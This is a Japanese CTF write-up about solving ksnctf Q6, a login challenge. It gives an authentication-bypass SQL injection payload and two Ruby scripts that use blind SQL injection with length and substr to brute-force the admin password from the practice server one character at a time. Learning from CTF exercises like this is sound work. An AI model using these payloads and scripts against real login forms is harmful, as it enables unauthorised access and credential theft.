KSNCTFのQ6をRubyで解く
はじめに
この記事ではksnctfのQ6について、一応FLAGを得る部分までネタバレしています。
回答は記載していませんが、過程も知りたくない場合は見ないようにしてくださいね。
ksnctf Q6について
ksnctfのQ6はよくある認証突破の問題で、適切なIDとPASSを入力すればFLAGを入手できるというもの。htmlのソースを見ても特にヒントになりそうなことは書いていない。
解いていく
IDはadminを使ってね、と書いてあるので、試しに以下のように入力してみた。
- ID: admin
- PASS:
admin' OR 'a' = 'a
無事に画面遷移したが、「簡単過ぎた?心配しなさんなww」と言われて問題はまだ続くっぽい。残念。
FLAGはadminのパスワードそのもので、ヒントとして認証部分のPHPのコードが表示される。
別の問題とは違ってsqliteのdatabase.dbは適切にパーミッションが振ってあるようで、落とすことはできない。
簡単なSQLを発行しているので、SQLインジェクションで正解を引き摺り出せということだと思い、まずはパスワードの長さを取得しようと考えた。
require 'net/http' require 'uri' http = URI.parse('http://ctfq.sweetduet.info:10080/~q6/') comment = "--" sql = "admin' AND (SELECT length(pass) FROM user WHERE id='admin') = " passwd_length = 0 (1 .. 30).each do |len| id = "#{sql}#{len}#{comment}" query = {'id' => "#{id}", 'password' => ""} response = Net::HTTP.post_form(http, query) if response.body.length > 2000 passwd_length = len break end end puts passwd_length
SQLインジェクションが成功した場合、bodyの長さが2000を超えるので、超えた時点でbreakしている。
どうにも人力では大変そうな数値が出たので、認証突破もスクリプトで作る。
パスワード全体を直接吐かせるようなことはできないっぽいので、一文字ずつ総当たりしていくことに。
スクリプトを作る前にSQLインジェクション用のSQLをテスト。
admin' and substr((SELECT pass FROM user WHERE id='admin'),1,1) ='F'--
ksnctfでは回答は必ずFLAG
から始まるため、select
で引っこ抜いた文字列の1文字目がF
であれば「簡単過ぎた?www」の画面が表示される。
SQLに明るくないので、substr
があるって学んだ。
パスワードの長さ、n文字目の特定方法が確立したので、さっさとパスワードを入手しましょう。
require 'net/http' require 'uri' http = URI.parse('http://ctfq.sweetduet.info:10080/~q6/') arry_ans = Array.new (1 .. 22).each do |i| sql = "admin' AND substr((SELECT pass FROM user WHERE id='admin'),#{i},1) = " ("!" .. "~").each do |chr| id = "#{sql}\'#{chr}\'--" query = {'id' => "#{id}", 'password' => ""} response = Net::HTTP.post_form(http, query) if response.body.length > 2000 arry_ans.push(chr) break end end end print arry_ans.join()
総当たりなのでめっちゃ時間かかりそう。。。
計測してみる。
$ ruby ksnctf6.rb real 5m20.367s user 0m2.722s sys 0m0.928s
5分かかってるで。
もっと短くできるんでしょーか。